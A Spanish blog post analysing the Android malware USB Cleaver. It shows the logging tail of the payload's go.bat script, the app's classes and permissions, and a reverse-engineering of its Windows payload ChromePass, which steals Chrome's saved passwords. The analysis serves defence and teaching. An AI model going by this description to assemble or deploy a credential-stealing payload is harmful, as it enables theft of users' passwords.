COPY %log%+%tmplog%* %log%  >> NUL
DEL /f /q %tmplog% >NUL

ECHO. >> %log% 2>&1
ECHO ----------------------------------------------------------------------------------------------------------------------------- >> %log% 2>&1
ECHO USB Cleaver Payload [Time Finished: %DATE% %TIME%] >> %log% 2>&1
ECHO ----------------------------------------------------------------------------------------------------------------------------- >> %log% 2>&1

Fichero go.bat

Diseccionando USB Cleaver

¡Es el momento de un poco de reversing y estudiar el interior de este malware! Para ello hemos decompilado el malware y podemos ver diferentes ficheros que lo componen, Fig. 11.

srf_blog_usbcleaver_malware11
Fig. 11 – USB Cleaver listo para ser analizado!

En la clase USBCleaverActivity podemos observar los diferentes ficheros y carpetas que el malware crea, que ya vimos anteriormente. Ver Fig. 12.

srf_blog_usbcleaver_malware12
Fig. 12 – Clase USBCleaverActivity

En las clases payload y payloadHandler encontramos el código relacionado con el payload, Fig. 13 y Fig. 14.

srf_blog_usbcleaver_malware13
Fig. 13 – Clase payload

srf_blog_usbcleaver_malware14
Fig. 14 – Clase payloadHandler

Un aspecto que siempre debemos examinar cuando hacemos reversing de Apps o Malware es determinar qué permisos utiliza. En la Fig. 15 podemos ver los permisos de USB Cleaver: escritura en la memoria externa (WRITE_EXTERNAL_STORAGE), acceso Internet (INTERNET) y acceso al estado de red (ACCESS_NETWORK_STATE). Existen muchas herramientas para ver los permisos, incluso cualquier editor de texto, yo utilizo Electric Sheep (herramienta propietaria de VULNEX para análisis de apps móviles)

srf_blog_usbcleaver_malware15
Fig. 15 – Permisos de USB Cleaver

Con esto ya hemos terminado de analizar USB Cleaver y como se puede apreciar es un malware muy sencillo, ¡si es que se le puede llamar malware! El siguiente paso será examinar con más detalle el payload.

Analizando el Payload

En la Fig. 9 hemos visto unos ejecutables que eran el payload. Procedamos a su reversing, aunque solo examinaremos uno 

En la Fig. 16 podemos ver todos los ficheros que componen el payload. Nuestro análisis se enfocará al fichero ChromePass, que roba las contraseñas del navegador Chrome. Según la web w3schools.com, Chrome es el navegador más usado y por eso me ha parecido un buen candidato para el análisis.

srf_blog_usbcleaver_malware16
Fig. 16 – Todos los ejecutables del payload

Para ello utilizaremos el mítico IDA Pro, ver Fig. 17, y al examinar el binario observo cadenas de texto que me suenan de otras herramientas. En la imagen podemos ver sentencias SQL, que es como el navegador guarda las contraseñas. Hace unos meses se abrió un debate de la forma tan insegura en la que se guardan las contraseñas en Chrome, fácil de encontrar si buscamos en Google 😉

srf_blog_usbcleaver_malware17
Fig. 17 – Reversing the ChromePass en IDA Pro

Navegamos por el binario con IDA Pro y observo algunas cadenas de texto que me suenan, por lo que decido abrir las propiedades del ejecutable y vamos a Detalles, efectivamente esta herramienta es parte de NirSoft y sus utilidades para recuperar contraseñas. Ver Fig. 18.

srf_blog_usbcleaver_malware18
Fig. 18 – ChromePass es una utilidad de NirSoft

Y para acabar utilizo el BinSecSweeper de VULNEX (disponible próximamente 😉 para evaluar la postura de seguridad de todos los binarios en el payload.

En la Fig. 19 podemos ver que el ChromePass es una utilidad algo vieja (posiblemente compilada con Visual Studio 2005) y no tiene ninguna mitigación.

En caso de tener alguna vulnerabilidad esta aplicación es presa fácil, ¡IDA Pro al ataque!

srf_blog_usbcleaver_malware19
Fig. 19 – Evaluando todos los binarios del payload mediante BinSecSweeper

Personalmente yo no llamaría Malware a esta aplicación como han hecho muchas casas antivirus, pero a pesar de su sencillez es un ejemplo interesante ya que combina Android con un payload Windows.

Es mera cuestión de tiempo que aparezca malware en móviles mucho más sofisticado que USB Cleaver que pueda atacar y robar información en otros sistemas operativos desktop como Windows y MacOS.

¡Espero que os haya gustado este análisis superficial de un malware en Android y nos vemos en el curso de hacking en móviles!

¿Cuál crees que será el foco del malware en móviles en los próximos dos años?

— Simon Roses Femerling

Publicado en Hacking, Malware, Seguridad, Tecnologia | Etiquetado , , , , | Deja un comentario